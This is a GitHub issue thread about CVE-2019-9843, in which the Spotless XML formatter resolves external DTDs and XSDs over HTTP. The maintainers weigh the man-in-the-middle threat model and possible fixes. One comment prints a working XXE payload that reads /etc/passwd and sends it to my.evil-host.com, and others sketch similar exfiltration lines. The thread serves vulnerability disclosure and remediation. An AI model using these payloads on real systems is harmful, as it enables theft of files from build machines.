CVE-2019-9843: The XML parser isn't respecting resolveExternalEntities as false

[JLLeitschuh]

Original Comment: #308 (comment)

12:48:55.013 [DEBUG] [sun.net.www.protocol.http.HttpURLConnection] Redirected from http://java.sun.com/xml/ns/javaee/javaee_5.xsd to http://www.oracle.com/webfolder/technetwork/jsc/xml/ns/javaee/javaee_5.xsd

If we are seeing HTTP get requests inside of the XML parser that means that the parser is vulnerable to XXE.

We need to fix this so that the spotless XML formatter is not making external entity requests.

We can't have our linting infrastructure making web requests. Especially web requests over HTTP as those can be maliciously intercepted by a MITM.

Here's an example where this has been a serious problem in the past.

https://research.checkpoint.com/parsedroid-targeting-android-development-research-community/

CC: @nedtwigg

This is a security vulnerability in spotless and should be treated as such.

[nedtwigg]

My understanding of the attack model you're worried about:

• attacker creates a github project, which contains an XML file containing something like <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
• victim clones github project, runs gradlew spotlessApply, which sends password to the attacker's server

Is the threat model posed by this XXE more dangerous than this?

• attacker creates a github project, and the build.gradle contains upload('/etc/passwd', 'http://badguy')
• victim clones github project, runs any gradle command, and the configuration step sends password to the attacker's server

Is this a fair comparison? Or am I misunderstanding a step that makes the XXE more dangerous?

[jbduncan]

Dealing with security bugs is a new area for me, so I personally don't know what's good procedure.

I understand some organisations do bug bounties, and that others ask reporters to discuss vulnerabilities with the organisation in private first. But I'm unsure if it's practical for us or DiffPlug to organise a bug bounty, or if discussing the bug via a private channel is something we should seriously consider doing.

@JLLeitschuh I'm thus wondering if you have any advice that may allow us to deal with this security bug in an efficient and/or ethical manner, or if you had any other thoughts regarding all this?

[jbduncan]

Just thinking out loud here: should we consider using a open source dependency vulnerability scanner to reduce the likelihood of things like this happening in the future?

[nedtwigg]

When I open a sourcefile in a text editor, I don't trust the author. I'm just inspecting its contents, and there's no way I should get a virus by examining source code.

When I compile and run a sourcefile, I am forced to either trust the author or run the code in a VM. I'm running the code that they wrote.

The XXE bug linked above was about an interactive tool where you could be victimized just by opening a file to inspect it. That is a vulnerability.

In the case of every software build, you are running code that somebody else wrote. If you don't trust them, you have no safe choice but to run it in a container.

The only reason that I can see why this might be a little more dangerous than a normal buildscript is that a malicious PR which contains changes to XML might not get the same level of codereview as a malicious PR which contains changes to the buildscript. But the only way you're getting hurt by this bug is if:

• you run a buildscript from somebody you don't trust
• somebody you do trust merged a PR without reviewing it

And in both cases, that is already true for everything about a gradle build. Please let me know if I'm misunderstanding.

[JLLeitschuh]

@nedtwigg This is an attack that can occur via a MITM.

For example, in this case spotless is making a request to http://java.sun.com/xml/ns/javaee/javaee_5.xsd

Notice how that XSD is being loaded over HTTP instead of HTTPS, that means if the builder is being MITMed the man in the middle can re-write that XSD to perform XXE.

This is true with DTD resources as well.

All an attacker has to do to a DTD is add the following payload to the DTD that they have MITM attacked and they can begin exfiltrating the contents of files from the build machine.

<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % param1 '<!ENTITY &#37; external SYSTEM "http://my.evil-host.com/x=%payload;">'>
%param1;
%external;

(This payload isn't listed on many of the example payload sites because it's rare to only control the DTD or the XSD; as is the case here. I ended up having to a lot of work to come up with this particular example payload, but it works against the java XML parser).

I know all this because finding XXE vulnerabilities in the java ecosystem has become a bit of a pet project for me. Expect more details in the future.

Here's the CVE number from a similar vulnerability in PMD:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7722

There will be more coming soon as I wrap up this project.

For now, we need to fix this in Spotless and then request a CVE number from MITRE.

https://cve.mitre.org/cve/request_id.html

[JLLeitschuh]

Just thinking out loud here: should we consider using an open source dependency vulnerability scanner to reduce the likelihood of things like this happening in the future?

This wouldn't have caught this particular instance. The issue with XXE and the reason that it's such a widespread issue is that, in almost all languages, XML parsers are vulnerable by default and you have to explicitly disable external entity processing.

Thankfully, the web world has begun to shift to json based formats for transmitting data which means that this problem is less likely in newer web-apps.
That being said, many tools are still vulnerable to XXE because they were written back when XML was in vogue for configuration.

[nedtwigg]

Thanks, the MITM was the step I was missing. So the attack model is:

• I clone a repo from someone I trust
• They have an XML file with an external DTD over HTTP
• Attacker MITM that external DTD, weaponizing it
• I upload my passwords to that attacker when I run spotlessApply

[JLLeitschuh]

@nedtwigg Correct.

Another attack model is:

• Developer writes/uses an XML file that has an external resource loaded over HTTP by accident (most people don't understand the risk).
• They have an XML file with an external DTD over HTTP
• Attacker MITM that external DTD, weaponizing it
• Nieve user or build server (eg. jenkins) upload their passwords or any other file to that attacker when spotlessApply or spotlessCheck is run.

The original intent of the author of the code may not have been malicious, but purely out of nievity around how XML entities work, they are pwed.

[JLLeitschuh]

Does anyone have the resources to dig in and fix this within the next week or so? I'm currently pretty busy but I can try to get to it next week if nobody else is free.

Also, is this vulnerability in Spotless propper or the external library doing the formatting?

[fvgh]

Brief explanation why I don't consider this urgent:

• Using XMLs in your sources which referring to external XSDs/DTDs which are not part of your project specific catalogue and not in the default catalogues has several flaws (no proper versioning, no local caching, ...).
• Yes, some mean contributor can try to insert such an error on purpose and it might not get notice. So an additional protection by an explicit flag is good idea. @nedtwigg Keep in mind that some repo you do trust could have deactivated the flag since they don't care so much about version control (and security)
• I am not convinced, that you can really exploit the vulnerability with the XSLSourceParser. I remember that Eclipse was quite picky when you defined file URIs. It wants the setup of the workspace catalogue. But I really would prefer to write a unit-test for it.

About the code:

• Our preference setup
• You can get the webtools sources from GitHub. Just filter the repositories for webtools.
• I am afraid that the resolveExternalEntities is only used by the validator (we don't use the validator, so it is not configured either). It uses the resolveExternalEntities value to setup the Xerces Configuration

It would be interesting to know what the Xerces/JRE defaults are... Anyhow, I know that the initial URI lookup for the XML source model is not done by Xerces, but by the XML catalogue/cache manager. And I am not sure whether Xerces plays a role for the XML model setup.

@JLLeitschuh consider this as an introduction. Let me know if you want to take over...

[jbduncan]

@fvgh I admit that I'm unconvinced by your reasoning regarding external XSDs.

To give an example, by my understanding Spring Framework projects using XML files for configuration are are still a thing in Java land today, and in my experience every Spring XML file points to XSD files provided online by (I assume) the Spring Framework maintainers or Pivotal. But in a couple of tutorial sites which I quickly browsed just now, the Spring examples they give have XML files where the XSD files are provided over HTTP, not HTTPS, and I'd make a guess that people just copy and paste these example XML files into their Spring projects as-is without changing the protocol.

So the way I see it, people and organisations who still use Spring's XML configuration and decide to use Spotless's XML formatter with their Spring projects are at risk from MITM attacks as @JLLeitschuh described earlier.

[jbduncan]

@fvgh That being said, I don't know enough about XML and XSD/DTD to properly understand your other arguments, so I may have missed something. :)

[JLLeitschuh]

To give an example, by my understanding Spring Framework projects using XML files for configuration are are still a thing in Java land today, and in my experience every Spring XML file points to XSD files provided online by (I assume) the Spring Framework maintainers or Pivotal.

@jbduncan Just because the vulnerability is widespread doesn't mean it's not a security vulnerability.

Spring actually has a writeup about this:
https://spring.io/blog/2016/08/24/check-your-spring-security-saml-config-xxe-security-issue

In the case of Spring, when Spring parses its own XML files, they probably use an internal resolver similar to the one that TestNG does here:

https://github.com/cbeust/testng/blob/0bbcebf2177e0bc4e0fd35c04dd9a2213574d219/src/main/java/org/testng/xml/TestNGContentHandler.java#L89-L94

TestNG looks internally to find the DTD first by loading it as a resource out of the testng.jar file.

Spotless doesn't have these resources so instead spotless is pulling these DTDs from the web over HTTP in an insecure method.

This internal resource loading is why TestNG and Spring are able to work when they are running on a machine disconnected from the internet. They aren't making HTTP or HTTPS requests out to external servers to resolve these DTDs.